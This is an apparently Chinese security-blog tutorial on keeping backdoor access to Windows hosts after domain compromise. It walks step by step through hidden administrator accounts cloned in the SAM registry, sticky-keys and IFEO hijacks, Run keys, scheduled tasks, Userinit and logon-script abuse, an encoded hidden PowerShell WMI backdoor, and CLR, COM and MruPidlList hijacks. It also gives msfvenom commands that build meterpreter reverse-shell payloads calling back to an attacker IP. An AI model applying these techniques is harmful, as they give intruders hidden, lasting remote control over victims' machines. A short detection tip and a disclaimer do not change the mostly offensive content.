作者: h0we777
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。
0x00 简介
当我们拿到域中最高权限之后,就需要将自己的权限进行巩固,进行权限持久化操作。
0x01 隐藏账户
1.1 测试系统
win 7
1.2 新建特殊账户
- 在目标主机cmd中输入以下命令,创建一个名为
whoami$
的隐藏账户,并把该隐藏账户设置为管理员权限
net user whoami$ howe7 /add
net localgroup administrators whoami$ /add
注:创建的用户名必须以$
符号结尾。
添加后,该账户可在一定条件下隐藏,输入net user
无法获取信息,但是,在登录界面以及本地和组中却能够发现该账户。
1.3 赋予注册表权限
屏幕左下角开始 -> 点击运行,输入regedit
打开注册表,打开HKEY_LOCAL_MACHINE
-> SAM
-> SAM
,一般情况下,sam
里就有一个默认内容。在这个文件夹里右键 -> 权限 -> 组或用户名那里选择Administrators
,允许完全控制。
然后重启注册表,运行 -> regedit
1.4 导出注册表
在SAM -> Domains -> User -> Names
处,找到Administrator用户,在右边有一个默认的文件,类型为0x1f4
。这个类型的1f4
是Administrator
用户SID的结尾,即RID(在这里使用十六进制表示)。在Users
文件夹里找到尾数是1f4
的文件夹。
点击000001F4
文件夹,里面出现3个文件,我们需要复制F文件里的数值数据,如图:
用相同的方式找到新建的whoami$
用户类型0x3e8
所对应的文件夹。
现在将000001F4
的F值粘贴到000003E8
的F值中,点击确定:
现在分别右键导出000003E8
和whoami$
到桌面,导出文件分别为000003E8.reg
和whoami.reg
1.5 删除特殊账户
现在将whoami$
账户删除
net user whoami$ /del
重启注册表,打开没有了。
1.6 导入reg文件
将刚才导出的两个文件导入到注册表中:
这样我们的隐藏账户whoami,这个账户的,只有在注册表中才能看得到。不管你是在命令提示符下输入netuser或者在系统用户管理界面都是看不到whoami。
1.7 删除隐藏用户
使用普通的账户删除命令是无法删除隐藏账户的,提示用户不属于此组
只能在注册表里删除。
1.8 防御隐藏用户
- 打开注册表的
[HKEY_LOCAL_MACHINE]
项,检查该项下的[SAM\SAM\Domains\Account\Users]
是否有可疑账户。 - 默认管理员权限无法查看注册表,需要分配权限或是提升至system权限
- 隐藏账户的登录记录,可通过查看日志获取
0x02 Shift 粘滞键后门
2.1 简介
在windows下连接按五次shift键,屏幕会弹出"粘滞键"的程序。粘滞键是为了一些没办法连按快捷键(如:ctrl+c , ctrl+v)组合的人设计的。shift键的存储位置在c:\windows\system32\sethc.exe
。
2.2 测试系统
windows 10
2.3 过程
- shift键的存储位置在
c:\windows\system32\sethc.exe
,进入此路径,把sethc.exe
重命名为sethc.exe.txt
注:提示需要trustedinstaller权限,trustedinstaller是一个安全机制,即系统的最高权限,权限比administrator管理员高,windows权限分为三种从低到高依次是user、administrator、system。而trustedinstaller比administrator高但没有system高,这么做的好处是避免了一些恶意软件修改系统文件的可能,坏处就是主机不能直接操作,所以这里需要更改权限。把权限更改为当前用户。
- 修改权限需要右键sethc, 属性 -> 安全 -> 高级 -> 更改
- 点击更改 -> 高级 -> 立即查找 -> Administrators -> 确定
- 确定后,所有者更改为Administrators后,点击确定,现在需要关闭后再打开(重启)“sethc.exe的高级安全设置”
- 重启后,点击更改权限
- 点击Administrators用户 -> 编辑
- 点击完全控制 -> 确定
- Administrators用户的访问权限已经更改,点击确定
- 再次打开sethc权限,看见Administratos已经可以完全控制sethc了。
- 现在先把
sethc.exe
更改为sethc.exe.txt
。然后找到cmd.exe
程序,就在c:\windows\system32\
文件夹里复制cmd.exe
并重命名为sethc.exe
- 现在锁屏,直接按5下shift可以调出cmd了
2.4 小结
- 完成粘滞键提权操作的必要步骤需要首先具有管理员权限。
- 针对两种特殊情况很有用,分别是:有管理员权限但被限制在C盘;get到trustedinstaller权限,去提权到管理员权限。
0x03 映像劫持
3.1 简介
简称"IFEO"(Image File Execution Options 其实应该称为"image Hijack"),是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。由于这个项主要是用来调试程序用的,对一般用户意义不大。默认是只有管理员和local system
有权读写修改。
简单来说就是当目标程序被映像劫持时,当我们启动目标程序时,启动对是劫持后的程序而不是原来的程序。
3.2 过程
- 在注册表
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
下添加一个sechc.exe
项,然后在sethc.exe
这个项添加debugger键
,键值为恶意程序的路径。
结果如下:
3.3 小结
和shift后门差不多,只不过在低版本的windows中,可以简单的替换程序,但是在高版本的windows版本中替换的文件收到了系统的保护。
0x04 注册表自启动项
4.1 简介
MSF的persistence模块利用的就是写注册表自启动来实现的,一般自启动项是两个键:Run和RunOnce。这两者的区别如下:
- Run:该项下的键值即为开机启动项,每一次随着开机而启动。
- RunOnce:RunOnce和Run差不多,唯一的区别就是RunOnce的键值只作用一次,执行完毕后就会自动删除。
4.2 常见注册表启动项键位置
- 注册表
- 用户级
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
- 系统级
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce
4.3 过程
- 进入入
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
,在Run文件夹里右键新建字符串值(howe),右键字符串值(howe)点击修改,在数值数据里添加c:\windows\system32\cmd.exe
- 现在重启或者注销账户,就会自动弹出cmd.exe框。
0x05 定时任务
5.1 简介
windows下定时任务的命令有两个,at和schtasks,他们两者的区别是:at命令在win7、8等高版本的windows中是不能将任务在前台执行的,也就是只会打开一个后天进程;schtasks是将定时的任务在前台执行。
5.2 at命令
- 简介
at命令是windows自带的用于创建计划任务的命令,但是他主要工作在windows server 2008之前版本的操作系统中。我们可以通过at命令通过跳板机在目标主机DC上创建计划任务,让计算机在指定的时间执行木马程序,从而获得对内网目标主机的控制。
注:windows vista、windows server 2008及之后版本的操作系统废弃了at。
- 参数
AT [\\computername] time [/INTERACTIVE]
[ /EVERY:date[,...] | /NEXT:date[,...]] "command"
- 示例
at [电脑时间] [电脑程序]
5.3 schtasks命令
- 简介
schtasks命令代替了at命令,比at命令更灵活、自由。
- 参数
schtasks /create /tn TaskName /tr TaskRun /sc schedule [/mo modifier] [/d day] [/m month[,month...] [/i IdleTime] [/st StartTime] [/sd StartDate] [/ed EndDate] [/s computer [/u [domain\]user /p password]] [/ru {[Domain\]User | "System"} [/rp Password]] /?
- 利用schtasks创建后门大致流程
首先,在目标主机上传metasploit生成的后门程序。
然后,在目标主机上创建一个计划任务。
- 示例
schtasks /create /tn test /tr calc.exe /sc minute /mo 1
0x06 用户登录初始化
6.1 简介
userinit的作用是用户在进行登录初始化设置时,winlogon进程会执行指定的login scripts,所以我们可以修改它的键值来添加要执行的程序。
6.2 过程
- 运行 -> regedit ,打开注册表路径:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
- 右键修改Userinit,在数值数据里添加一个启动程序
c:\windows\system32\cmd.exe
。注:多个程序用逗号隔开。
- 重启或注销用户,进入桌面自动弹出cmd.exe程序
0x07 Logon Scripts
7.1 简介
Logon svripts优先于av先执行,我们可以利用这一点来绕过av的敏感操作拦截。
7.2 过程
- 运行 -> regedit ,打开注册表路径:
HKEY_CURRENT_USER\Environment
- 在这里创建一个键为:
UserInitMprLogonScript
(这里只能使用这个键名)。其键值为要启动的程序路径c:\windows\system32\cmd.exe
- 重启或注销账户,查看效果
0x08 屏幕保护程序
8.1 简介
屏幕保护是windows功能的一部分,使用户可以在一段时间不活动后放置屏幕消息或图形动画。众所周知,windows的此功能被威胁参与者滥用为持久性方法。这是因为屏幕保护程序使具有.scr
文件扩展名的可执行文件,并通过scrnsave.scr
实用程序执行。
8.2 开启屏幕保护程序
- 通过左下角的电脑搜索,搜索屏幕保护。点击"启用或关闭屏幕保护程序"
- 开启屏幕保护程序,随便点击一个图形,点击应用 -> 确定
- 打开注册表路径:
HKEY_CURRENT_USER\Control Panel\Desktop
,查看是否打开屏幕保护程序
8.3 过程
在对方开启屏幕保护的情况下,我们可以修改屏保程序为恶意程序从而达到后门持久化的目的。其中屏幕保护的配置存储在注册表中,其位置为:HKEY_CURRENT_USER\Control Panel\Desktop
,关键键如下:
- SCRNSAVE.EXE :默认屏幕保护程序,可以把这个键值改为恶意程序。
- ScreenSaveActive - 1 :表示屏幕保护是启动状态,0表示屏幕保护是关闭状态。
- ScreenSaverTimeoiut : 指定屏幕保护程序启动前系统的空闲事件,单位为秒,默认为900(15分钟)
- 复制粘贴一个
SCRNSAVE.EXE
程序,再把原SCRNSAVE.EXE
程序重命名为SCRNSAVE.EXE.txt
,修改SCRNSAVE.EXE
程序的数值数据为C:\Windows\system32\calc.exe
- 等屏幕保护时间到后自动探测
calc.exe
程序,查看效果
0x09 自启动服务
9.1 简介
自启动服务一般是在电脑启动后在后台默认或者加载指定的服务程序,可以将exe应用程序注册为服务,也可以将dll文件注册为服务。
9.2 测试系统
攻击机:kali
靶机:win 7
9.3 过程
- kali使用msf生成远控文件
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.69.12 LPORT=4444 -f exe -o /home/howe7/howe.exe
lhost:攻击者ip
lport:攻击者port
- 把msf生成的exe文件扔给win7的c盘中
- 在kali的msf中使用handler模块
use exploit/multi/handler
- 设置攻击负载
set payload windows/x64/meterpreter/reverse_tcp
- 设置本地监听ip和端口
set LHOST 192.168.69.12 (设置kali的IP,可以在kali的端口使用ifconfig查询)
set LPORT 4444
run
- 使用以下命令将会在目标主机上以meterpreter的服务形式注册在服务列表中,并开机自动启动。
run metsvc -A (自动安装后门)
- 运行之后会在
C:\Users\Howe-7\AppData\Local\Temp\
目录下创建一个随机的文件夹jwbKSmLVtKj
,然后在该文件夹里生成以下三个文件
0x10 waitfor
10.1 简介
在系统上发送或等待信号。waitfor可用于跨网络同步计算机。不支持自启动,但可远程主动激活,后台进程显示为waitfor.exe。
10.2 语法
waitfor [/s <Computer> [/u [<Domain>\]<User> [/p [<Password>]]]] /si <SignalName>
waitfor [/t <Timeout>] <SignalName>
/s <Computer> 指定远程计算机的名称或IP地址,默认为本地计算机
/u [<Domain>]<user> 使用指定用户帐户的凭据运行脚本。默认是使用当前用户的凭据。
/p <Password> 指定/u参数中指定的用户帐户的密码。
/si 发送指定激活信号。
/t 指定等待信号的秒数。默认为无限期等待。
<SignalName> 指定等待或发送的信号,不区分大小写,长度不能超过225个字符
10.3 更多信息
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/waitfor
10.4 过程
- 测试系统
windows 7
windows 2012
- 先打开win7的运行 -> 输入cmd.exe ,在命令提示符里输入以下命令
waifor test && calc.exe
- 然后在windows server 2012的命令提示符里输入以下命令
waitfor /s 192.168.xx.xx /u (win7用户名) /s (win7密码) /si test
- 这样只能执行一次,可以使用以下脚本让它持久化
$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Backdoor'
$StaticClass.Put()| Out-Null
$StaticClass.Properties.Add('Code' , "cmd /c start calc.exe ```&```& taskkill /f /im powershell.exe ```&```& waitfor persist ```&```& powershell -nop -W Hidden -E JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA==")
$StaticClass.Put() | Out-Null
$exec=([WmiClass] 'Win32_Backdoor').Properties['Code'].Value;
iex $exec | Out-Null
该方法的优点就是能主动激活,但是缺点也明显:只能在同一网段才能接收和发送激活信息,服务器重启后就不行了。
0x11 CLR劫持
11.1 简介
CLR(公共语言运行库,Common Language Runtime)和Java虚拟机一样也是一个运行时环境,是一个可由多种编程语言使用的运行环境。CLR的核心功能包括:内存管理、程序集加载、安全性、异常处理和线程同步,可由面向CLR的所有语言使用。并保证应用和底层操作系统之间必要的分离。CLR是.NET Framework的主要执行引擎。需要注意的是CLR能够劫持系统中全部.net程序,而且系统默认会调用.net程序,从而导致我们的后门自动触发。
11.2 过程
- 测试系统
攻击机:kali
靶机:win 7
- 在win7的cmd.exe中创建用户环境变量命令
SETX COR_ENABLE_PROFILING 1
SETX COR_PROFILER {AABBCCDD-1234-1234-1234-AABBCCDDEEFF}
#{AABBCCDD-1234-1234-1234-AABBCCDDEEFF} 为 CLSID
- 修改注册表的路径为
HKEY_CURRENT_USER\Software\Classes\CLSID
- 使用以下命令创建注册表,重启注册表编辑器
REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{AABBCCDD-1234-1234-1234-AABBCCDDEEFF}\InProcServer32" /VE /T REG_SZ /D "C:\howe.dll" /F
REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{AABBCCDD-1234-1234-1234-AABBCCDDEEFF}\InProcServer32" /V ThreadingModel /T REG_SZ /D Apartment /F
- 在kali中使用msfvenom生成dll payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.69.12 LPORT=4444 -f dll > howe.dll
LHOST = (攻击机的IP地址)
LPORT = (攻击机的开启端口)
- 在kali的文件夹里找到创建的howe.dll文件,把它放进win7系统的
C盘
里,再重启win7
- 回到kali,使用metasploit设置监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set AutoRunScript migrate -f (自动迁移进程)
set lhost 192.168.69.12
set lport 4444
options
run
0x12 COM劫持
12.1 简介
COM是Component Object Model(组件对象模型)的缩写,它是微软的一套软件组件的二进制接口标准。这使得跨编程语言的进程间通信、动态对象创建成为可能。COM是多项微软技术与框架的基础,包括OLE、OLE自动化、ActiveX、COM+、DCOM、Windows shell、DirectX、Windows Runtime。
COM劫持主要通过修改CLSID下的注册表键值,实现对CAccPropServicesClass和MMDeviceEnumerator劫持,而系统很多正常程序启动时需要调用这两个实例,所以,这就可以用作后门来使用,并且,该方法也能够绕过Autoruns对启动项的检测。
12.2 原理
当进程寻找com组件时,首先会寻找:
HKCU\Software\Classes\CLSID
我们直接在CLSID下面新建一个对象ID,就能够劫持某个进程或多个进程
与dll劫持原理相近,但是com组件的劫持可以拓展很多东西,劫持的目标不一定是一个进程,劫持所需的文件不一定是一个dll,
他可以是一个 .com文件、二进制PE文件、Dll文件、劫持的目标也可以是一个Window API
12.3 读取顺序
HKEY_CURRENT_USER\Software\Classes\CLSID
HKEY_CLASSES_ROOT\CLSID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\
12.4 过程
- 测试环境
攻击机:kali
靶机:win 7
- 在win7的cmd.exe中创建用户环境变量命令
SETX COR_ENABLE_PROFILING 1
SETX COR_PROFILER {aaaabbbb-1111-2222-3333-777777777777}
- 使用以下命令创建注册表,重启注册表编辑器
REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{aaaabbbb-1111-2222-3333-777777777777}\InProcServer32" /VE /T REG_SZ /D "C:\777.exe" /F
REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{aaaabbbb-1111-2222-3333-777777777777}\InProcServer32" /V ThreadingModel /T REG_SZ /D Apartment /F
- 在kali中使用msfvenom生成exe payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.69.12 LPORT=4444 -f exe > 777.exe
- 在kali的文件夹里找到创建的howe.dll文件,把它放进win7系统的
C盘
里
- 使用以下命令来劫持
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.69.12
set lport 4444
options
set session 1
run
shell
0x13 MruPidlList 劫持
13.1 简介
这是一种主动的后门触发方式,只要对方主机重启机器的操作,就会触发之前设置的dll。系统在启动时默认启动进程explorer.exe,如果劫持了COM对象MruPidList,就能劫持进程explorer.exe,实现后门随系统开机启动,相当于时主动后门。而劫持MruPidlList劫持注册表中的一个{42aedc87-2188-41fd-b9a3-0c966feabec1}
CLSID,将其带键值换成恶意dll即可。
13.2 过程
- 测试环境
攻击机:kali
靶机:win 7
- 更改注册表劫持MruPidlList
SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "c:\calc.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
- 在kali中使用msfvenom生成dll payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.69.12 LPORT=4444 -f dll > calc.dll
LHOST = (攻击机的IP地址)
LPORT = (攻击机的开启端口)
- 在kali的文件夹里找到创建的calc.dll文件,把它放进win7系统的
C盘
里
- 通过以下命令来劫持
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.69.12
set lport 4444
options
run
- 该注册表对应COM对象MruPidlList,作用于shell32.dll,而shell32.dll是windows的32位外壳动态链接库文件,用于打开网页和文件,建立文件时的默认文件名的设置等大量功能。其中explorer.exe会调用shell32.dll,然后会加载COM对象MruPidlList,从而触发dll文件。重启或结束explorer.exe后新开启一个explorer.exe,恶意dll被加载。
0x14 总结
windows操作系统的持久化后门还有很多,我只是学习了一小部分基础,如有不对的地方,请各位师傅指正!
0x15 了解更多安全知识
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!